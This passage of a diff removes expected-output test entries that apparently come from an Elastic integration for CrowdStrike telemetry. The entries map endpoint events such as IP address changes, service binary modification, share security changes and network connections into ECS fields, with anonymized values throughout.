":\"2\",\"PrefixOrigin\":\"0\",\"timestamp\":\"1743508799999\",\"SkipAsSource\":\"0\",\"AdminStatus\":\"2\",\"OnLinkPrefixLength\":\"0\",\"TunnelType\":\"0\",\"ConfigStateHash\":\"9968901000\",\"InterfaceDescription\":\"f59e6603c99b77bc826e67f3133aa91ba4\",\"InterfaceIdentifier\":\"0\",\"ScopeLevel\":\"0\",\"PrefixLength\":\"0\",\"OutUcastPkts\":\"0\",\"NetworkInterfaceGuid\":\"c5b6c77ed6710604982c8df8956c7d308373\",\"ScopeZone\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"PhysicalMediumType\":\"0\",\"NetLuidIndex\":\"0\",\"InNUcastPkts\":\"0\",\"MaxRouterAdvertisementInterval\":\"0\",\"Metric\":\"0\",\"ReachableTime\":\"0\",\"OutMulticastOctets\":\"0\",\"OutNUcastPkts\":\"0\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "8b33228d110f333bb96bb91288f6d8ad",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "LocalIpAddressIP6",
-            "observer": {
-                "address": [
-                    "89.160.20.112"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.112"
-                ],
-                "serial_number": "8b33228d110f333bb96bb91288f6d8ad",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "related": {
-                "hash": [
-                    "9968901000"
-                ],
-                "ip": [
-                    "89.160.20.112",
-                    "2a02:cf40::1"
-                ]
-            },
-            "source": {
-                "address": "2a02:cf40::1",
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": "2a02:cf40::1",
-                "mac": "99-24-19-28-16-80-11-F3-87-25-11-47-34-01-86-69-80-62-83-83-76-34-14-74-17-18-88-22-65-31-79-46"
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "9968901000",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "76",
-                "EventOrigin": "1",
-                "InterfaceIndex": 0,
-                "LocalAddressIP6": [
-                    "2a02:cf40::2"
-                ],
-                "LocalIpAddressPipelineSource": "6",
-                "NetLuidIndex": 0,
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "46389a39e57e9b858db2074d5f94ec7a526d",
-                "name": "872932933dab2f183b4ce071bd"
-            },
-            "device": {
-                "id": "8b33228d110f333bb96bb91288f6d8ad"
-            },
-            "event": {
-                "action": "LocalIpAddressRemovedIP6",
-                "category": [
-                    "configuration",
-                    "host"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "46389a39e57e9b858db2074d5f94ec7a526d|8b33228d110f333bb96bb91288f6d8ad|4092825518eaf67377a6e4492ae44577",
-                "kind": "state",
-                "original": "{\"event_simpleName\":\"LocalIpAddressRemovedIP6\",\"LocalAddressIP6\":\"2a02:cf40::2\",\"ConfigStateHash\":\"9968901000\",\"aip\":\"89.160.20.128\",\"InterfaceIndex\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"NetLuidIndex\":\"0\",\"Entitlements\":\"76\",\"name\":\"872932933dab2f183b4ce071bd\",\"EventOrigin\":\"1\",\"id\":\"46389a39e57e9b858db2074d5f94ec7a526d\",\"LocalIpAddressPipelineSource\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"8b33228d110f333bb96bb91288f6d8ad\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "8b33228d110f333bb96bb91288f6d8ad",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "LocalIpAddressRemovedIP6",
-            "observer": {
-                "address": [
-                    "89.160.20.128"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.128"
-                ],
-                "serial_number": "8b33228d110f333bb96bb91288f6d8ad",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "related": {
-                "hash": [
-                    "9968901000"
-                ],
-                "ip": [
-                    "89.160.20.128",
-                    "2a02:cf40::2"
-                ]
-            },
-            "source": {
-                "address": "2a02:cf40::2",
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": "2a02:cf40::2"
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3440491101",
-                "ContextProcessId": "617055030004",
-                "ContextTimeStamp": "2025-07-13T19:07:50.075Z",
-                "DesiredAccess": "2336",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "66",
-                "EventOrigin": "1",
-                "ExtendedKeyUsages": "1",
-                "FileSigningTime": "1696360530.000",
-                "HandleCreated": "0",
-                "Object1Type": "85300006300503060726",
-                "PublicKeys": "0",
-                "SHA256HashData": "7b289396ef4bdcf4e4c3d55c81c2090a8735fa93c9a58e5c538ae65e58a1b243",
-                "SignInfoFlags": "932000",
-                "Status": "0",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "6fa27f66ec6a05ff162d3ee4962108a1518e",
-                "name": "a94954f7ef7b687d2b265ac33c34fe0"
-            },
-            "device": {
-                "id": "84bd7271911c13b227952666802a3e71"
-            },
-            "event": {
-                "action": "LsassHandleFromUnsignedModule",
-                "category": [
-                    "process"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "6fa27f66ec6a05ff162d3ee4962108a1518e|84bd7271911c13b227952666802a3e71|4092825518eaf67377a6e4492ae44577",
-                "kind": "alert",
-                "original": "{\"ContextThreadId\":\"53282469092040\",\"aip\":\"81.2.69.142\",\"PublicKeys\":\"0\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"id\":\"6fa27f66ec6a05ff162d3ee4962108a1518e\",\"HandleCreated\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"LsassHandleFromUnsignedModule\",\"ContextTimeStamp\":\"1752433670.075\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"617055030004\",\"SHA256HashData\":\"7b289396ef4bdcf4e4c3d55c81c2090a8735fa93c9a58e5c538ae65e58a1b243\",\"ExtendedKeyUsages\":\"1\",\"FileSigningTime\":\"1696360530.000\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"Object1Name\":\"\",\"TargetProcessId\":\"330096244003\",\"DesiredAccess\":\"2336\",\"ImageFileName\":\"\\\\6ba0bd\\\\6cf19058\\\\9134161b\\\\4b9430\\\\6cf901c9\\\\d89a3e44.exe\",\"Entitlements\":\"66\",\"name\":\"a94954f7ef7b687d2b265ac33c34fe0\",\"aid\":\"84bd7271911c13b227952666802a3e71\",\"SignInfoFlags\":\"932000\",\"Object1Type\":\"85300006300503060726\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"Certificate\":\"\"}",
-                "outcome": "unknown",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "84bd7271911c13b227952666802a3e71",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "LsassHandleFromUnsignedModule",
-            "observer": {
-                "address": [
-                    "81.2.69.142"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "serial_number": "84bd7271911c13b227952666802a3e71",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "330096244003",
-                "executable": "\\6ba0bd\\6cf19058\\9134161b\\4b9430\\6cf901c9\\d89a3e44.exe",
-                "name": "d89a3e44.exe",
-                "thread": {
-                    "id": 53282469092040
-                }
-            },
-            "related": {
-                "hash": [
-                    "7b289396ef4bdcf4e4c3d55c81c2090a8735fa93c9a58e5c538ae65e58a1b243",
-                    "3440491101"
-                ],
-                "ip": [
-                    "81.2.69.142"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "8200073020",
-                "ContextProcessId": "603000080603277383",
-                "ContextTimeStamp": "2025-09-18T04:54:08.217Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "16",
-                "EventOrigin": "1",
-                "ServiceDescription": "4329d830\\4a6a0a4b\\4b8e4186.dll,-101",
-                "ServiceErrorControl": "1",
-                "ServiceFailureActions": "370906160706958900210000200600006090810303901200700052903087003011111111",
-                "ServiceImagePath": "6d7f6dfd4f514f59d14a90da6a661a3 -2 d140261e9173 -5",
-                "ServiceSecurity": "1c31d/23092a59",
-                "ServiceStart": "3",
-                "ServiceType": "840",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "f65e6994cc640f2778a1b7af2c40ba921473",
-                "name": "381f30fed8ec4c276ba29"
-            },
-            "device": {
-                "id": "c82cce517ab3200fde3ca362e648c993"
-            },
-            "event": {
-                "action": "ModifyServiceBinary",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "f65e6994cc640f2778a1b7af2c40ba921473|c82cce517ab3200fde3ca362e648c993|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"ModifyServiceBinary\",\"ContextTimeStamp\":\"1758171248.217\",\"ConfigStateHash\":\"8200073020\",\"ContextProcessId\":\"603000080603277383\",\"ServiceDescription\":\"4329d830\\\\4a6a0a4b\\\\4b8e4186.dll,-101\",\"ContextThreadId\":\"108300250532070103\",\"aip\":\"216.160.83.56\",\"ServiceSecurity\":\"1c31d/23092a59\",\"ServiceImagePath\":\"6d7f6dfd4f514f59d14a90da6a661a3 -2 d140261e9173 -5\",\"ServiceDisplayName\":\"7a476391b5908bfed8e3c37\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"ServiceStart\":\"3\",\"ServiceType\":\"840\",\"Entitlements\":\"16\",\"name\":\"381f30fed8ec4c276ba29\",\"EventOrigin\":\"1\",\"ServiceFailureActions\":\"370906160706958900210000200600006090810303901200700052903087003011111111\",\"id\":\"f65e6994cc640f2778a1b7af2c40ba921473\",\"ServiceErrorControl\":\"1\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"c82cce517ab3200fde3ca362e648c993\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "unknown",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "c82cce517ab3200fde3ca362e648c993",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "ModifyServiceBinary",
-            "observer": {
-                "address": [
-                    "216.160.83.56"
-                ],
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "serial_number": "c82cce517ab3200fde3ca362e648c993",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "603000080603277383",
-                "thread": {
-                    "id": 108300250532070103
-                },
-                "title": "7a476391b5908bfed8e3c37"
-            },
-            "related": {
-                "hash": [
-                    "8200073020"
-                ],
-                "ip": [
-                    "216.160.83.56"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "830",
-                "ConfigStateHash": "8602068629",
-                "ContextProcessId": "409640218507",
-                "ContextTimeStamp": "2025-08-25T08:34:59.866Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "26",
-                "EventOrigin": "1",
-                "InterfaceGuid": "6934fcb718b8c1c32c1f9fbbd4bc4e6c7a0c",
-                "InterfaceVersion": "230092",
-                "RpcClientProcessId": "400050400700",
-                "RpcNestingLevel": "0",
-                "RpcOpNum": "45",
-                "ShareName": "cb8652cba4df7f900",
-                "ShareSecurity": "1c31d/825bda18",
-                "ShareSecuritySddl": "1c31d/aeb465b9",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "c805aeef64230eaf7cd53c8a881aa4e8405a",
-                "name": "e6b491ccab8fa73b85131f75"
-            },
-            "device": {
-                "id": "3daf1fabea580837c4adcda08036d084"
-            },
-            "event": {
-                "action": "NetShareSecurityModify",
-                "category": [
-                    "configuration"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "c805aeef64230eaf7cd53c8a881aa4e8405a|3daf1fabea580837c4adcda08036d084|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ContextThreadId\":\"28260411703000\",\"aip\":\"216.160.83.56\",\"ShareName\":\"cb8652cba4df7f900\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"InterfaceGuid\":\"6934fcb718b8c1c32c1f9fbbd4bc4e6c7a0c\",\"RpcClientProcessId\":\"400050400700\",\"id\":\"c805aeef64230eaf7cd53c8a881aa4e8405a\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"NetShareSecurityModify\",\"ContextTimeStamp\":\"1756110899.866\",\"UserName\":\"5f112a78ce366\",\"ConfigStateHash\":\"8602068629\",\"ContextProcessId\":\"409640218507\",\"InterfaceVersion\":\"230092\",\"AuthenticationId\":\"830\",\"ShareSecurity\":\"1c31d/825bda18\",\"ConfigBuild\":\"2c8b.4.a5bcbac.e6\",\"RpcOpNum\":\"45\",\"Entitlements\":\"26\",\"name\":\"e6b491ccab8fa73b85131f75\",\"aid\":\"3daf1fabea580837c4adcda08036d084\",\"ShareSecuritySddl\":\"1c31d/aeb465b9\",\"RpcNestingLevel\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "3daf1fabea580837c4adcda08036d084",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "NetShareSecurityModify",
-            "observer": {
-                "address": [
-                    "216.160.83.56"
-                ],
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "serial_number": "3daf1fabea580837c4adcda08036d084",
-                "version": "2c8b.4.a5bcbac.e6"
-            },
-            "process": {
-                "entity_id": "409640218507",
-                "thread": {
-                    "id": 28260411703000
-                }
-            },
-            "related": {
-                "hash": [
-                    "8602068629"
-                ],
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "user": [
-                    "5f112a78ce366"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "5f112a78ce366"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "710307050",
-                "ConnectionFlags": "0",
-                "ContextBaseFileName": "b95ddafd92696f0e5a",
-                "ContextProcessId": "6550917119400",
-                "ContextTimeStamp": "2025-11-02T07:06:02.385Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "56",
-                "EventOrigin": "1",
-                "InContext": "0",
-                "LocalAddressIP4": [
-                    "81.2.69.142"
-                ],
-                "RemoteAddressString": "3b0cf5a207bde73b",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "0fc45c7ed982785c2b6da8717ddcefdcd273",
-                "name": "13f26050a8e2372ba812"
-            },
-            "destination": {
-                "address": "89.160.20.128",
-                "as": {
-                    "number": 29518,
-                    "organization": {
-                        "name": "Bredband2 AB"
-                    }
-                },
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": "89.160.20.128",
-                "port": 600
-            },
-            "device": {
-                "id": "fd2a2839c2fb96079cb3c756f823e196"
-            },
-            "event": {
-                "action": "NetworkConnectIP4",
-                "category": [
-                    "network"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "0fc45c7ed982785c2b6da8717ddcefdcd273|fd2a2839c2fb96079cb3c756f823e196|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ContextBaseFileName\":\"b95ddafd92696f0e5a\",\"aip\":\"216.160.83.56\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"id\":\"0fc45c7ed982785c2b6da8717ddcefdcd273\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"LocalAddressIP4\":\"81.2.69.142\",\"event_simpleName\":\"NetworkConnectIP4\",\"ContextTimeStamp\":\"1762067162.385\",\"ConfigStateHash\":\"710307050\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"6550917119400\",\"RemotePort\":\"600\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"LocalPort\":\"60181\",\"Entitlements\":\"56\",\"name\":\"13f26050a8e2372ba812\",\"aid\":\"fd2a2839c2fb96079cb3c756f823e196\",\"RemoteAddressIP4\":\"89.160.20.128\",\"RemoteAddressString\":\"3b0cf5a207bde73b\",\"ConnectionDirection\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "unknown",
-                "type": [
-                    "start",
-                    "connection"
-                ]
-            },
-            "host": {
-                "id": "fd2a2839c2fb96079cb3c756f823e196",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "NetworkConnectIP4",
-            "network": {
-                "community_id": "1:jLmbBdsIpHaowv+xHoWSBFN5+34=",
-                "direction": "outbound",
-                "iana_number": "6",
-                "transport": "tcp"
-            },
-            "observer": {
-                "address": [
-                    "216.160.83.56"
-                ],
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "serial_number": "fd2a2839c2fb96079cb3c756f823e196",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "6550917119400",
-                "name": "b95ddafd92696f0e5a"
-            },
-            "related": {
-                "hash": [
-                    "710307050"
-                ],
-                "ip": [
-                    "216.160.83.56",
-                    "81.2.69.142",
-                    "89.160.20.128"
-                ]
-            },
-            "source": {
-                "address": "81.2.69.142",
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": "81.2.69.142",
-                "port": 60181
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "205997984",
-                "ConnectionFlags": "0",
-                "ContextBaseFileName": "b971114518c9",
-                "ContextProcessId": "4093698090473",
-                "ContextTimeStamp": "2025-05-03T16:40:44.357Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "56",
-                "EventOrigin": "1",
-                "InContext": "0",
-                "LocalAddressIP6": [
-                    "2a02:cf40::2"
-                ],
-                "RemoteAddressString": "2a02:cf40::1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "473484e6b33fdbe4e7274bc98a2365ad9e88",
-                "name": "f35a9bcaa84e44df3194"
-            },
-            "destination": {
-                "address": "2a02:cf40::1",
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": "2a02:cf40::1",
-                "port": 600
-            },
-            "device": {
-                "id": "bfc5af54b43f2802d6e18297ab82e810"
-            },
-            "event": {
-                "action": "NetworkConnectIP6",
-                "category": [
-                    "network"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "473484e6b33fdbe4e7274bc98a2365ad9e88|bfc5af54b43f2802d6e18297ab82e810|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ContextBaseFileName\":\"b971114518c9\",\"RemoteAddressIP6\":\"2a02:cf40::1\",\"aip\":\"81.2.69.142\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"id\":\"473484e6b33fdbe4e7274bc98a2365ad9e88\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"NetworkConnectIP6\",\"ContextTimeStamp\":\"1746290444.357\",\"LocalAddressIP6\":\"2a02:cf40::2\",\"ConfigStateHash\":\"205997984\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"4093698090473\",\"RemotePort\":\"600\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"LocalPort\":\"45200\",\"Entitlements\":\"56\",\"name\":\"f35a9bcaa84e44df3194\",\"aid\":\"bfc5af54b43f2802d6e18297ab82e810\",\"RemoteAddressString\":\"2a02:cf40::1\",\"ConnectionDirection\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "unknown",
-                "type": [
-                    "start",
-                    "connection"
-                ]
-            },
-            "host": {
-                "id": "bfc5af54b43f2802d6e18297ab82e810",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "NetworkConnectIP6",
-            "network": {
-                "community_id": "1:T8hdyxdSOJDJWCfI96fSKxS2cOo=",
-                "direction": "outbound",
-                "iana_number": "6",
-                "transport": "tcp"
-            },
-            "observer": {
-                "address": [
-                    "81.2.69.142"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "serial_number": "bfc5af54b43f2802d6e18297ab82e810",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "4093698090473",
-                "name": "b971114518c9"
-            },
-            "related": {
-                "hash": [
-                    "205997984"
-                ],
-                "ip": [
-                    "81.2.69.142",
-                    "2a02:cf40::2",
-                    "2a02:cf40::1"
-                ]
-            },
-            "source": {
-                "address": "2a02:cf40::2",
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": "2a02:cf40::2",
-                "port": 45200
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3440491101",
-                "ConnectionFlags": "0",
-                "ContextProcessId": "1373030025759",
-                "ContextTimeStamp": "2025-11-08T05:19:45.012Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "66",
-                "EventOrigin": "1",
-                "InContext": "0",
-                "LocalAddressIP4": [
-                    "89.160.20.128"
-                ],
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "414d7d4c948639bd127ede963b8cd7f205d5",
-                "name": "3e63bd7ad348fcf149d"
-            },
-            "destination": {
-                "address": "216.160.83.56",
-                "as": {
-                    "number": 209
-                },
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": "216.160.83.56",
-                "port": 0
-            },
-            "device": {
-                "id": "deb2fe5b3c4891f857b3d5cb68f4d47f"
-            },
-            "event": {
-                "action": "NetworkListenIP4",
-                "category": [
-                    "network"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "414d7d4c948639bd127ede963b8cd7f205d5|deb2fe5b3c4891f857b3d5cb68f4d47f|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"LocalAddressIP4\":\"89.160.20.128\",\"event_simpleName\":\"NetworkListenIP4\",\"ContextTimeStamp\":\"1762579185.012\",\"ConfigStateHash\":\"3440491101\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"1373030025759\",\"RemotePort\":\"0\",\"ContextThreadId\":\"351980000701043\",\"aip\":\"81.2.69.144\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"LocalPort\":\"73001\",\"Entitlements\":\"66\",\"name\":\"3e63bd7ad348fcf149d\",\"EventOrigin\":\"1\",\"id\":\"414d7d4c948639bd127ede963b8cd7f205d5\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"deb2fe5b3c4891f857b3d5cb68f4d47f\",\"RemoteAddressIP4\":\"216.160.83.56\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "deb2fe5b3c4891f857b3d5cb68f4d47f",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "NetworkListenIP4",
-            "network": {
-                "direction": "unknown",
-                "iana_number": "6",
-                "transport": "tcp"
-            },
-            "observer": {
-                "address": [
-                    "81.2.69.144"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "serial_number": "deb2fe5b3c4891f857b3d5cb68f4d47f",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "1373030025759",
-                "thread": {
-                    "id": 351980000701043
-                }
-            },
-            "related": {
-                "hash": [
-                    "3440491101"
-                ],
-                "ip": [
-                    "81.2.69.144",
-                    "89.160.20.128",
-                    "216.160.83.56"
-                ]
-            },
-            "source": {
-                "address": "89.160.20.128",
-                "as": {
-                    "number": 29518,
-                    "organization": {
-                        "name": "Bredband2 AB"
-                    }
-                },
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": "89.160.20.128",
-                "port": 73001
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "750096004",
-                "ConnectionFlags": "0",
-                "ContextProcessId": "6002550902534",
-                "ContextTimeStamp": "2025-08-29T07:42:10.351Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "96",
-                "EventOrigin": "1",
-                "InContext": "0",
-                "LocalAddressIP6": [
-                    "2a02:cf40::1"
-                ],
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "6571a795f2d49a994f8fc3840f9780f9a9d8",
-                "name": "32e9d89e356847ad161"
-            },
-            "destination": {
-                "address": "2a02:cf40::2",
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": "2a02:cf40::2",
-                "port": 0
-            },
-            "device": {
-                "id": "fe88182661659af8a192fac5db624574"
-            },
-            "event": {
-                "action": "NetworkListenIP6",
-                "category": [
-                    "network"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
